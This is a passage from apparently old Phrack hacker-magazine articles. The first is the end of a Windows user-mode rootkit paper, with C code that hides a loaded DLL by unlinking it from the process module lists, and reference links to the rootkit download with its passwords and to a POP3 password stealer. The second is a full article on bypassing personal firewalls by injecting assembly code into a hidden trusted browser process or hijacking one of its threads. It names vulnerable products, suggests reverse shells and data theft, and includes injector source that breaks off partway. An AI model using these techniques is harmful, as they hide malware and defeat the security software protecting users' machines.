    PVOID                   EntryPoint;
    ULONG                   SizeOfImage;
    UNICODE_STRING           FullDllName;
    UNICODE_STRING           BaseDllName;
    ULONG                   Flags;
    SHORT                   LoadCount;
    SHORT                   TlsIndex;
    LIST_ENTRY              HashTableEntry;
    ULONG                   TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
```

In fact, this is not exactly true since LIST_ENTRY have a special behavior. Indeed, the base address of the surrounding object is computed by subtracting the offset of the LIST_ENTRY member from it's address (&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to the another LIST_ENTRY inside the list, not to the owner of the list node. This makes it possible to interlink objects in multiple lists without any interference as explains Sven B. Schreiber in Undocumented Windows 2000

Secrets. To access InLoadOrderModuleList elements, we don't have to bother about offsets since it is the first element of the LDR_MODULE structure so it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY). Similarly, to access the LDR_MODULE from InInitializationOrderModuleList we just subtract 2*sizeof(LIST_ENTRY). The following sample demonstrates how to walk one of these lists and throw a module away according to its name (szDllToStrip).

```

----- EXAMPLE 16 -----
/* Walks one of the three modules double linked lists referenced by the
PEB (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
    int i; /* internal counter */
    DWORD PebBaseAddr, dwOffset=0;

    /* Module list head and iterating pointer */
    PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;

    /* PEB->PEB_LDR_DATA*/
    PPEB_LDR_DATA pLdrData;
    /* Module(s) name in UNICODE/AINSI*/
    PUNICODE_STRING pImageName;
    char szImageName[BUFMAXLEN];

    /* First, get Process Environment Block */
    PebBaseAddr = GetPEB(0);

    /* Compute PEB->PEB_LDR_DATA */
    pLdrData=(PPEB_LDR_DATA) (DWORD *) (*(DWORD *) (PebBaseAddr +
                                                    PEB_LDR_DATA_OFFSET));

    /* Init linked list head and offset in LDR_MODULE structure */
    if(ModuleListType == LOAD_ORDER_TYPE)
    {
        /* InLoadOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr =
            (PLIST_ENTRY) (&(pLdrData->ModuleListLoadOrder));
        dwOffset = 0x0;
    } else if(ModuleListType == MEM_ORDER_TYPE)
    {
        /* InMemoryOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr =
            (PLIST_ENTRY) (&(pLdrData->ModuleListMemoryOrder));
        dwOffset = 0x08;
    } else if(ModuleListType == INIT_ORDER_TYPE)
    {
        /* InInitializationOrderModuleList */
        pUserModuleListHead = pUserModuleListPtr =
            (PLIST_ENTRY) (&(pLdrData->ModuleListInitOrder));
        dwOffset = 0x10;
    }

    /* Now walk the selected list */
    do
    {
        /* Jump to next LDR_MODULE structure */

```

```

pUserModuleListPtr = pUserModuleListPtr->Flink;
pImageName = (PUNICODE_STRING) (
    ((DWORD) (pUserModuleListPtr)) +
    (LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

/* Decode unicode string to lower case on the fly */
for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++)
    szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
/* Null terminated string */
szImageName[i] = '\\0';

/* Check if it's target DLL */
if( strstr((char*)szImageName, szDllToStrip) != 0 )
{
    /* Hide this dll : throw this module away (out of
    the double linked list)
    (pUserModuleListPtr->Blink)->Flink =
        (pUserModuleListPtr->Flink);
    (pUserModuleListPtr->Flink)->Blink =
        (pUserModuleListPtr->Blink);
    /* Here we may also overwrite memory to prevent
    recovering (paranoid only ;p) */
}
while(pUserModuleListPtr->Flink != pUserModuleListHead);

return FUNC_SUCCESS;
}

```

----- END EXAMPLE 16 -----

To process the three linked lists, the rootkit calls the HideDll function below.

```

----- EXAMPLE 17 -----
int HideDll(char *szDllName)
{
    return (
        WalkModuleList(LOAD_ORDER_TYPE, szDllName)
        && WalkModuleList(MEM_ORDER_TYPE, szDllName)
        && WalkModuleList(INIT_ORDER_TYPE, szDllName)
    );
}
----- END EXAMPLE 17 -----

```

I never saw this method employed to hide a module but instead to recover the base address of a DLL in elaborated shellcodes [PEBSHLCODE]. To end with this technique, I'll say that it is from far efficient against ring 3 programs but becomes a little bit ineffective against a personal firewall acting at kernel level, such as Sygate Personal Firewall. This one cannot be defeated using the presented method and analysis of its source code shows as it sets hooks in the kernel syscall table, thereby being informed as soon as a DLL is loaded into any process and subsequent hiding is useless. In a word, personal firewalls are the worst enemies of userland rootkits.

-----[5. Ending

-----[5.1. Conclusion

The mechanisms presented in this paper are the result of long research and experimentations. It shows up that ring 3 rootkit are an effective threat for nowadays computer systems but may be defeated by a clever analysis of the weakpoints they target. So this type of rootkit isn't perfect as data may still be detected, even though they're from far more difficult to notice. Keep in mind that the most important thing is not to cause suspicion, and therefore not be detected. In a word, ring 3 rootkits are perfect meantime to get administrative privilege on the local machine and install a most adapted ring 0 rootkit that will be more suitable to reach

the maximum stealth.

-----[5.2. Greetings

"If I have seen further it is by standing on the shoulders of giants."
This quotation from Isaac Newton (1676) perfectly describes the ways things work. Therefore, my thanks first go to all authors that make the internet a place of free information and exchanges. Without them you would probably not be reading these lines. This is especially true for Ivo Ivanov - thanks to you I discovered the world of API hooking -, Crazylord who provided me precious information to set up my first device driver, Holy_Father and Eclips for considering some questions about userland take over. Added to that, I'd like to thank my friends and revisers that helped me set up a more accessible paper. I hope this goal is achieved. Finally, I salute my friends and teammates; you know who you are. Special thanks to my buddy and personal unix consultant Artyc.

That's all folks!

"I tried so hard, and gone so far. But in the end, it doesn't even matter..."

Kdm
Kodmaker@sysshell.org
<http://www.sysshell.org/>

-----[6. References

- [1]
http://www.sysshell.org/?r=../phrack62/NTILLUSION_fullpack.txt
- [NTillusion rootkit]
<http://www.sysshell.org/?r=../phrack62/NTIllusion.rar>
Login/Pass : phrackreaders/ph4e#ho5
Rar password : 0wnd4wurld
- [HIDINGEN]
<http://rootkit.host.sk/knowhow/hidingen.txt>
- [HOOKS] A HowTo for setting system wide hooks
<http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/>
- [MSDN_HOOKS]
<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/Windowing/Hooks.asp>
- [3WAYS] Three ways to inject your code into another process
<http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/>
- [LSD] Win32 assembly components
<http://www.lsd-pl.net/documents/winasm-1.0.1.pdf>
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
http://www.sysshell.org/?r=Rootkit/Code_Injection/GetSetThreadContext/kCtxInject/
- [REMOTETH]
<http://win32.mvps.org/processes/remthread.html>
- [PE]
<http://www.sysshell.org/?r=Rootkit/PE/Doc/MattPietrek>
- [IVANOV]
<http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5667/>
- [UNLEASHED]
http://www.codeproject.com/system/api_monitoring_unleashed.asp
- [DETOURS] Detours win32 functions interception
<http://research.microsoft.com/sn/detours/>
- [HKDEF_RTK] Hacker Defender rootkit
<http://rootkit.host.sk/>
- [HKDEF] Hacker Defender (Holy_Father 2002)

<http://rootkit.host.sk/knowhow/hookingen.txt>
- [ZOMBIE2] Entry point rewriting
http://www.sysshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/
- [EXPLORIAT]
<http://www.sysshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log>
- [MSDN] Microsoft Developers Network
<http://msdn.microsoft.com/library/>
- [NtQuerySystemInformation]
<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/sysinfo/base/ntquerysysteminformation.asp>
- [GETTCP] GetTcpTable
<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/iphlp/iphlp/gettcptable.asp>
- [NETSTATP] Netstat like
<http://www.sysinternals.com/files/netstatp.zip>
- [kSENTINEL] POP3 passwords grabber
http://www.sysshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentinel.c
- [FPORT] Network Tool
<http://foundstone.com/resources/freetools/fport.zip>
- [TCPVIEW] Network Tool
<http://www.sysinternals.com/ntw2k/source/tcpview.shtml>
- [LISTDLLS] DLL listing tool
<http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml>
- [PROCEXP] Process Explorer
<http://www.sysinternals.com/ntw2k/freeware/procexp.shtml>
- [VICE] Catch hookers!
<http://www.rootkit.com>
- [PEB]
<http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html>
- [PEBSHLCODE]
<http://madchat.org/coding/w32nt.rev/RW32GS.txt>

|=[EOF]=-----|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10

===[Using Process Infection to Bypass Windows Software Firewalls]===
===== [rattle]=====

-[0x00] :: Table Of Contents -----

[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words

[0x0A] references

[0x0B] injector source code
[0x0C] Tiny bypass source code

[0x0D] binaries (base64)

-[0x01] :: introduction -----

This entire document refers to a feature of software firewalls available for Windows OS, which is called "outbound detection". This feature has nothing to do with the original idea of a firewall, blocking incoming packets from the net: The outbound detection mechanism is ment to protect the user from malicious programs that run on his own computer - programs attempting to communicate with a remote host on the Internet and thereby leaking sensible information. In general, the outbound detection controls the communication of local applications with the Internet.

In a world with an increasing number of trojan horses, worms and virii spreading in the wild, this is actually a very handy feature and certainly, it is of good use. However, ever since I know about software firewalls, I have been wondering whether they could actually provide a certain level of security at all: After all, they are just software supposed protect you against other software, and this sounds like bad idea to me.

To make a long story short, this outbound detection can be bypassed, and that's what will be discussed in this paper. I moreover believe that if it is possible to bypass this one restriction, it is somehow possible to bypass other restrictions as well. Personal firewalls are software, trying to control another piece of software. It should in any case be possible to turn this around by 180 degrees, and create a piece of software that controls the software firewall.

Also, how to achieve this in practice is part of the discussion that will follow: I will not just keep on talking about abstract theory. It will be explained and illustrated with sample source code how to bypass a software firewall by injecting code to a trusted process. It might be interesting to you that the method of runtime process infection that will be presented and explained does not require an external DLL - the bypass can be performed by a stand-alone and tiny executable.

Thus, this paper is also about coding, especially Win32 coding. To understand the sample code, you should be familiar with Windows, the Win32 API and basic x86 Assembler. It would also be good to know something about the PE format and related things, but it is not necessary, as far as I can see. I will try to explain everything else as precisely as possible.

Note: If you find numbers enclosed in normal brackets within the document, these numbers are references to further sources. See [0x0A] for more details.

-[0x02] :: how software firewalls work -----

Of course, I can only speak about the software firewalls I have seen and tested so far, but I am sure that these applications are among the most widely used ones. Since all of them work in a very similar way, I assume that the concept is a general concept of software firewalls.

Almost every modern software firewall provides features that simulate the behaviour of hardware firewalls by allowing the user to block certain ports. I have not had a close look on these features and once more I want to emphasize that breaking these restrictions is outside the scope of this paper.

Another important feature of most personal firewalls is the concept of giving privileges and different levels of trust to different processes that run on the local machine to provide a measure of outbound detection. Once a certain executable creates a process attempting to access the network, the executable file is checksummed by the software firewall and the user is prompted whether or not he wants to trust the respective process.

To perform this task, the software firewall is most probably installing kernel mode drivers and hooks to monitor and intercept calls to low level networking routines provided by the Windows OS core. Appropriately, the user can trust a process to connect() to another host on the Internet, to listen() for connections or to perform any other familiar networking task. The main point is: As soon as the user gives trust to an executable, he also gives trust to any process that has been created from that executable. However, once we change the executable, its checksum would no longer match and the firewall would be alerted.

So, we know that the firewall trusts a certain process as long as the executable that created it remains the same. We also know that in most cases, a user will trust his webbrowser and his email client.

-[0x03] :: process Infection without external .dll -----

The software firewall will only calculate and analyze the checksum for an executable upon process creation. After the process has been loaded into memory, it is assumed to remain the same until it terminates.

And since I have already spoken about runtime process infection, you certainly have guessed what will follow. If we cannot alter the executable, we will directly go for the process and inject our code to its memory, run it from there and bypass the firewall restriction.

If this was a bit too fast for you, no problem. A process is loaded into random access memory (RAM) by the Windows OS as soon as a binary, executable file is executed. Simplified, a process is a chunk of binary data that has been placed at a certain address in memory. In fact, there is more to it. Windows does a lot more than just writing binary data to some place in memory. For making the following considerations, none of that should bother you, though.

For all of you who are already familiar with means of runtime process infection - I really dislike DLL injection for this purpose, simply because there is definitely no option that could be considered less elegant or less stealthy.

In practice, DLL injection means that the executable that performs the bypass somehow carries the additional DLL it

requires. Not only does this heavily increase the size of the entire code, but this DLL also has to be written to HD on the affected system to perform the bypass. And to be honest - if you are really going to write some sort of program that needs a working software firewall bypass, you exactly want to avoid this sort of flaws. Therefore, the presented method of runtime process infection will work completely without the need of any external DLL and is written in pure x86 Assembly.

To sum it all up: All that is important to us now is the ability to get access to a process' memory, copy our own code into that memory and execute the code remotely in the context of that process.

Sounds hard? Not at all. If you have a well-founded knowledge of the Win32 API, you will also know that Windows gives a programmer everything he needs to perform such a task. The most important API call that comes to mind probably is `CreateRemoteThread()`.

Quoting MSDN (1):

The `CreateRemoteThread` function creates a thread that runs in the address space of another process.

```
HANDLE CreateRemoteThread(  
    HANDLE hProcess,  
    LPSECURITY_ATTRIBUTES lpThreadAttributes,  
    DWORD dwStackSize,  
    LPTHREAD_START_ROUTINE lpStartAddress,  
    LPVOID lpParameter,  
    DWORD dwCreationFlags,  
    LPDWORD lpThreadId  
);
```

Great, we can execute code at a certain memory address inside another process and we can even pass one `DWORD` of information as a parameter to it. Moreover, we will need the following 2 API calls:

```
VirtualAllocEx()  
WriteProcessMemory()
```

they give us the power to inject our own arbitrary code to the address space of another process - and once it is there, we will create a thread remotely to execute it.

To sum everything up: We will create a binary executable that carries the injection code as well as the code that has to be injected in order to bypass the software firewall. Or, speaking in high-level programming terms: We will create an exe file that holds two functions, one to inject code to a trusted process and one function to be injected.

-[0x04] :: problems of this implementation -----

It all sounds pretty easy now, but it actually is not. For instance, you will barely be able to write an application in C that properly injects another (static) C function to a remote process. In fact, I can almost guarantee you that the remote process will crash. Although you can call the relevant API calls from C, there are much more underlying problems with using a high level language for this purpose. The essence of all these

problems can be summed up as follows: compilers produce ASM code that uses hardcoded offsets. A simple example: Whenever you use a constant C string, this C string will be stored at a certain position within the memory of your resulting executable, and any reference to it will be hardcoded. This means, when your process needs to pass the address of that string to a function, the address will be completely hardcoded in the binary code of your executable.

Consider:

```
void main() {  
    printf("Hello World");  
    return 0;  
}
```

Assume that the string "Hello World" is stored at offset 0x28048 inside your executable. Moreover, the executable is known to load at a base address of 0x00400000. In this case, the binary code of your compiled and linked executable will somewhere refer to the address 0x00428048 directly.

A disassembly of such a sample application, compiled with Visual C++ 6, looks like this:

```
00401597 ...  
00401598 push 0x00428048 ; the hello world string  
0040159D call 0x004051e0 ; address of printf  
0040159E ...
```

What is the problem with such a hardcoded address? If you stay inside your own address space, there is no problem. However ... once you move that code to another address space, all those memory addresses will point to entirely different things. The hello world string in my example is more than $0x20000 = 131072$ bytes away from the actual program code. So, if you inject that code to another process space, you would have to make sure that at 0x00428048, there is a valid C string ... and even if there was something like a C string, it would certainly not be "Hello World". I guess you get the point.

This is just a simple example and does not even involve all the problems that can occur. However, also the addresses of all function calls are hardcoded, like the address of the printf function in our sample. In another process space, these functions might be somewhere else or they could even be missing completely - and this leads to the most weird errors that you can imagine. The only way to make sure that all the addresses are correct and that every single CPU instruction fits, we have to write the injected code in ASM.

Note: There are several working implementations for an outbound detection bypass for software firewalls on the net using a dynamic link library injection. This means, the implementation itself consists of one executable and a DLL. The executable forces a trusted process to load the DLL, and once it has been loaded into the address space of this remote process, the DLL itself performs any arbitrary networking task. This way to bypass the detection works very well and it can be implemented in a high level language easily, but I dislike the dependency on an external DLL, and therefore I decided to code a solution with one single stand-alone executable that does the entire injection by itself. Refer to (2) for an example of a DLL injection bypass.

Also, LSADUMP2 (3) uses exactly the same measure to grab the LSA secrets from LSASS.EXE and it is written in C.

-[0x05] :: how to implement it -----

Until now, everything is just theory. In practice, you will always encounter all kinds of problems when writing code like this. Furthermore, you will have to deal with detail questions that have only partially to do with the main problem. Thus, let us leave the abstract part behind and think about how to write some working code.

Note: I strongly recommend you to browse the source code in [A] while reading this part, and it would most definitely be a good idea to have a look at it before reading [0x0B].

First of all, we want to avoid as much hardcoded elements as possible. And the first thing we need is the file path to the user's default browser. Rather than generally referring to "C:\Program Files\Internet Explorer\iexplore.exe", we will query the registry key at "HKCR\htmlfile\shell\open\command".

Ok, this will be rather easy, I assume you know how to query the registry. The next thing to do is calling CreateProcess(). The wShowWindow value of the STARTUP_INFO structure passed to the function should be something like SW_HIDE in order to keep the browser window hidden.

Note: If you want to make entirely sure that no window is displayed on the user's screen, you should put more effort into this. You could, for instance, install a hook to keep all windows hidden that are created by the process or do similar things. I have only tested my example with Internet Explorer and the SW_HIDE trick works well with it. In fact, it should work with most applications that have a more or less simple graphical user interface.

To ensure that the process has already loaded the most essential libraries and has reached a generally stable state, we use the WaitForInputIdle() call to give the process some time for initialization.

So far, so good - now we proceed by calling VirtualAllocEx() to allocate memory within the created process and with WriteProcessMemory(), we copy our networking code. Finally, we use CreateRemoteThread() to run that code and then, we only have to wait until the thread terminates. All in all, the injection itself is not all that hard to perform.

The function that will be injected can receive a single argument, one double word. In the example that will be presented in [0x0B], the injected procedure connects to www.phrack.org on port 80 and sends a simple HTTP GET request. After receiving the header, it displays it in a message box. Since this is just a very basic example of a working firewall bypass code, our injected procedure will do everything on its own and does not need any further information.

However, we will still use the parameter to pass a 32 bit value to our injected procedure: its own "base address". Thus,

the injected code knows at which memory address it has been placed, in the context of the remote process. This is very important as we cannot directly read from the EIP register and because our injected code will sometimes have to refer to memory addresses of data structures inside the injected code itself.

Once injected and placed within the remote process, the injected code basically knows nothing. The first important task is finding the kernel32.dll base address in the context of the remote process and from there, get the address of the GetProcAddress function to load everything else we need. I will not explain in detail how these values are retrieved, the entire topic cannot be covered by this paper. If you are interested in details, I recommend the paper about Win32 assembly components by the Last Stage of Delirium research group (4). I used large parts of their write-up for the code that will be described in the following paragraphs.

In simple terms, we retrieve the kernel32 base address from the Process Environment Block (PEB) structure which itself can be found inside the Thread Environment Block (TEB). The offset of the TEB is always stored within the FS register, thus we can easily get the PEB offset as well. And since we know where kernel32.dll has been loaded, we just need to loop through its exports section to find the address of GetProcAddress(). If you are not familiar with the PE format, don't worry.

A dynamic link library contains a so-called exports section. Within this section, the offsets of all exported functions are assigned to human-readable names (strings). In fact, there are two arrays inside this section that interest us. There are actually more than 2 arrays inside the exports section, but we will only use these two lists. For the rest of this paper, I will treat the terms "list" and "array" equally, the formal difference is of no importance at this level of programming. One array is a list of standard, null-terminated C-strings. They contain the function names. The second list holds the function entry points (the offsets).

We will do something very similar to what GetProcAddress() itself does: We will look for "GetProcAddress" in the first list and find the function's offset within the second array this way.

Unfortunately, Microsoft came up with an idea for their DLL exports that makes everything much more complicated. This idea is named "forwarders" and basically means that one DLL can forward the export of a function to another DLL. Instead of pointing to the offset of a function's code inside the DLL, the offset from the second array may also point to a null-terminated string. For instance, the function HeapAlloc() from kernel32.dll is forwarded to the RtlAllocateHeap function in ntdll.dll. This means that the alleged offset of HeapAlloc() in kernel32.dll will not be the offset of a function that has been implemented in kernel32.dll, but it will actually be the offset of a string that has been placed inside kernel32.dll. This particular string is "NTDLL.RtlAllocateHeap".

After a while, I could figure out that this forwarder-string is placed immediately after the function's name in array #1.

Thus, you will find this chunk of data somewhere inside kernel32.dll:

```
48 65 61 70 41 6C 6C 6F      HeapAllo
63 00 4E 54 44 4C 4C 2E      c.NTDLL.
52 74 6C 41 6C 6C 6F 63      RtlAlloc
61 74 65 48 65 61 70 00      ateHeap.
```

```
= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
```

This is, of course, a bit confusing as there are now more null-terminated strings in the first list than offsets in the second list - every forwarder seems like a function name itself. However, bearing this in mind, we can easily take care of the forwarders in our code.

To identify the "GetProcAddress" string, I also make use of a hash function for short strings which is presented by LSD group in their write-up (4). The hash function looks like this in C:

```
unsigned long hash(const char* strData) {
    unsigned long hash = 0;
    char* tChar = (char*) strData;
    while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
    return hash;
}
```

The calculated hash for "GetProcAddress" is, 0x099C95590 and we will search for a string in the exports section of kernel32.dll that matches this string. Once we have the address of GetProcAddress() and the base address of kernel32, we can easily load all other API calls and libraries we need. From here, everything left to do is loading ws2_32.dll and using the socket system calls from that library to do whatever we want.

Note: I'd suggest to read [0x0B] now.

-[0x06] :: limits of this implementation -----

The sample code presented in this little paper will give you a tiny executable that runs in RING3. I am certain that most software firewalls contain kernel mode drivers with the ability to perform more powerful tasks than this injector executable. Therefore, the capabilities of the bypass code are obviously limited. I have tested the bypass against several software firewalls and got the following results:

Zone Alarm 4	vulnerable
Zone Alarm Pro 4	vulnerable
Sygate Pro 5.5	vulnerable
BlackIce 3.6	vulnerable
Tiny 5.0	immune

Tiny alerts the user that the injector executable spawns the browser process, trying to access the network this way. It looks like Tiny simply acts exactly like all the other software firewalls do, but it is just more careful. Tiny also hooks API calls like CreateProcess() and CreateRemoteThread() - thus, it can protect its users from this kind of bypass.

Anyway, by the test results I obtained, I was even more

confirmed that software firewalls act as kernel mode drivers, hooking API calls to monitor networking activity.

Thus, I have not presented a firewall bypass that works in 100% of all possible cases. It is just an example, a proof for the general possibility to perform a bypass.

-[0x07] :: workaround: another infection method -----

Phrack Staff suggested to present a workaround for the problem with Tiny by infecting an already running, trusted process. I was certain that this would not be the only thing to take care of, since Tiny would most likely be hooking our best friend, `CreateRemoteThread()`. Unfortunately, I actually figured out that I had been right, and merely infecting an already running process did not work against Tiny.

However, there are other ways to force execution of our own injected code, and I will briefly explain my workaround for those of you who are interested. All I am trying to prove here is that you can outsmart any software firewall if you put some effort into coding an appropriate bypass.

The essential API calls we will need are `GetThreadContext()` and appropriately, `SetThreadContext()`. These two briefly documented functions allow you to modify the `CONTEXT` of a thread. What is the `CONTEXT` of a thread? The `CONTEXT` structure contains the current value of all CPU registers in the context of a certain thread. Hence, with the two API calls mentioned above, you can retrieve these values and, more importantly, apply new values to each CPU register in the thread's context as well. Of high interest to us is the EIP register, the instruction pointer for a thread.

First of all, we will simply find an already running, trusted process. Then, as always, we write our code to its memory using the methods already discussed before. This time, however, we will not create a new thread that starts at the address of our injected code, we will rather hijack the primary thread of the trusted process by changing its instruction pointer to the address of our own code.

That's the essential theory behind this second bypass, at least. In practice, we will proceed more cautiously to be as stealthy as possible. First of all, we will not simply write the injection function to the running process, but several other ASM codes as well, in order to return to the original context of the hijacked thread once our injected code has finished its work. As you can see from the ASM source code in [0x0C], we want to copy a chunk of shellcode to the process that looks like this in a debugger:

```
<base + 0x00> PUSHAD           ; safe all registers
<base + 0x01> PUSHFD           ; safe all flags
<base + 0x02> PUSH <base + 0x13> ; first argument: own address
<base + 0x07> CALL <base + 0x13> ; call the injected code
<base + 0x0C> POPFD            ; restore flags
<base + 0x0D> POPAD            ; restore registers
<base + 0x0E> JMP <original EIP> ; "restore" original context
<base + 0x13> ...              ; inject function starts here
```

Remember, this code is being injected at a memory offset very

far away from the original context of the thread. That's why we will need a 4 byte - relative address for the JMP.

All in all, this is an easy and simple solution to avoid that our trusted process just crashes after the injected code has run. Moreover, I decided to use an event object that becomes signaled by the injected code once the HTTP request has been performed successfully. This way, the injector executable itself is informed once the injected routine has finished its job. We can then deallocate the remote memory and perform a general cleanup. Stealthiness is everything.

I should say that [0x0C] is a bit more fragile and less reliable than the first bypass shown in [0x0B]. However, this second one will definitely work against all tested firewalls and most probably also against others. Nevertheless, you should bear in mind that it assumes Internet Explorer to be a trusted process without looking up anything in the registry or elsewhere.

Furthermore, I only used this second bypass together with a running instance of Internet Explorer, other applications might require you not to hijack the primary thread, but another one. The primary thread is usually a safe bet as we can assume that it does not block or idle at the moment of infection. However, it could theoretically also happen that the program's interface suddenly freezes because the injected code is running rather than the code that was intended to run. With this very sample program and internet explorer, I did not encounter such problems, though. It also works with "OUTLOOK.EXE" and others, so I think it can be considered a good and stable approach.

-[0x08] :: conclusion -----

I feel that I can be satisfied with the test results I obtained. Although the injector executable is generally inferior to a kernel mode software firewall, it could easily trick 80% of the most popular software firewall products.

My second bypass even works against all of them, and I am as sure as I can be that an appropriate bypass can actually be coded for every single software firewall. Both of the sample codes merely send a simple HTTP request, but it would actually be quite easy to have them perform any other networking task. For instance, sending an email with sensitive information would work exactly the same way. The injected code would just have to be more sophisticated or rather, larger than the sample provided here.

Bearing in mind that I achieved this with a 5k user-mode application, I am certain that it would be even more easy to bypass any software firewall with an appropriate piece of code running in RING0, eventually hooking low level calls itself. Who knows, perhaps this technique is already being used by people who did the same sort of research. The overall conclusion is: software firewalls are insecure. And I am very much at ease with this generalization: The concept of a software firewall, not the implementation, is the main problem.

Software can not protect you from other software without being at constant risk to be tricked by another piece of software again.

Why is this a risk? This is in fact a huge risk because software firewalls ARE being used on Windows Workstations widely. Within a network, it is commonplace to use both software and hardware firewalls. Moreover, the software firewalls in such networks only serve the very purpose of protecting the network from backdoor programs by supplying some sort of outbound detection. And after all, this protection is obviously too weak.

Apart from the danger for privately used computers, which have hereby been proven to be insufficiently protected against trojan horses and worms, exploitation of a remote Windows Workstation using a software firewall can most definitely involve the use of methods described in this paper. The ASM code for the two bypass samples can be transformed into shellcode for any remote Windows exploit. Once a service a Windows network is found to be vulnerable to a remote exploit, it would be also possible to overcome the outbound detection of the respective software firewall this way.

The sample applications connect to www.phrack.org on port 80, but you can actually infect a trusted process and have it do about anything along the lines of providing a shell by connecting back to your IP.

-[0x09] :: Last Words -----

I'd like to emphasize that I am not responsible for anyone using that sample code with his/her homemade trojan to leech porn from his friend's PC. Seriously, this is just a sample for educational purposes, it should not be used for any kind of illegal purpose.

Thanks a lot to Paris2K for helping me with developing and testing the injector app. Good luck and success with your thesis.

Greetings and thanks to drew, cube, the_mystic - and also many thanks to you, jason ... for all your helpful advice.

If you want or need to contact me:

Email, MSN - rattle@awarenetwork.org
ICQ - 74684282
Website - <http://www.awarenetwork.org/>

.aware

-[0x0A] :: References -----

These are links to projects and papers that have been referenced somewhere inside this document.

- (1) The MSDN library provides Windows programmers with almost all the reference they need, no doubt about that.

<http://msdn.microsoft.com/>

- (2) Another project that bypasses the outbound detection of software firewalls. Unfortunately, no source code

is available and it also uses and external DLL:

<http://keir.net/firehole.html>

- (3) LSADUMP2 is the only C source code I found that illustrates the method of injecting a DLL into another process' address space:

http://razor.bindview.com/tools/desc/lsadump2_readme.html

- (4) Many respect to the LSD research group for their nice and easy-to-read paper "Win32 Assembly Components":

<http://www.lsd-pl.net/documents/winasm-1.0.1.pdf>

Perhaps you might want to check out their entire projects section:

<http://lsd-pl.net/projects.html>

- (5) Negatory Assembly Studio is my favourite x86 ASM IDE, as far as an IDE for Assembly makes sense at all. You might need it for the ASM source code provided as I make use of it's "standard library" for Win32 calls:

<http://www.negatory.com/asmstudio/>

-[0x0B] :: injector.exe source code -----

Here you go, this is the injector ASM code. I used Negatory Assembly Studio 1.0 to create the executable, a nice freeware IDE for creating programs in ASM for Windows (5). It internally uses the MASM Assembler and linker, so you might also manage to use the code with MASM only (you will be lacking the includes, though).

.386

.MODEL flat, stdcall

```
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc
```

```
bypass    PROTO NEAR STDCALL, browser:DWORD    ; injector function
inject    PROTO NEAR STDCALL, iBase:DWORD      ; injected function
```

```
;      The PSHS macro is used to push the address of some
;      structure onto the stack inside the remote process'
;      address space. iBase contains the address where the
;      injected code starts.
```

```
PSHS      MACRO  BUFFER
MOV        EDX, iBase
ADD        EDX, OFFSET BUFFER - inject
PUSH       EDX
ENDM
```



```

;      The LPROC macro assumes that pGetProcAddress holds
;      the address of the GetProcAddress() API call and
;      simulates its behaviour. PROCNAME is a string inside
;      the injected code that holds the function name and
;      PROCADDR is a DWORD variable inside the injected
;      code that will retrieve the address of that function.
;      BASEDLL, as the name suggests, should hold the
;      base address of the appropriate DLL.

LPROC    MACRO    BASEDLL, PROCNAME, PROCADDR
        PSHS     PROCNAME
        PUSH     BASEDLL
        CALL     pGetProcAddress
        EJUMP    INJECT_ERROR
        MOV      PROCADDR, EAX
        ENDM

EJUMP    MACRO    TARGET_CODE ; jump when EAX is 0.
        CMP      EAX, 0
        JE       TARGET_CODE
        ENDM

.DATA

        sFail           DB    "Injection failed.",0
        sCapFail        DB    "Failure",0

        REG_BROWSER_SUBKEY DB    "htmlfile\shell\open\command",0
        REG_BROWSER_KEY   DD    ?

        BROWSER          DB    MAX_PATH DUP(0)
        BR_SIZE          DD    MAX_PATH

        FUNCSIZE          EQU inject_end - inject

.CODE

Main:    ; We retrieve the default browser path from the
        ; registry by querying HKCR\htmlfile\shell\open\command

        INVOKE    RegOpenKey, HKEY_CLASSES_ROOT, \
                ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

        CMP      EAX, ERROR_SUCCESS
        JNE      RR

        INVOKE    RegQueryValue, REG_BROWSER_KEY, \
                EAX, ADDR BROWSER, ADDR BR_SIZE

        INVOKE    RegCloseKey, REG_BROWSER_KEY

        ; Now we call the bypass function by supplying the
        ; path to the browser as the first argument.

        INVOKE    bypass, OFFSET BROWSER

RR:      INVOKE    ExitProcess, 0

```

```

bypass PROC NEAR STDCALL, browser:DWORD

LOCAL    sinf                :STARTUPINFO
LOCAL    pinf                :PROCESS_INFORMATION

LOCAL    dwReturn            :DWORD ; return value
LOCAL    dwRemoteThreadID    :DWORD ; thread ID
LOCAL    thRemoteThreadHandle :DWORD ; thread handle
LOCAL    pbRemoteMemory      :DWORD ; base address

; Get our own startupinfo details out of lazieness
; and alter the wShowWindow attribute to SW_HIDE

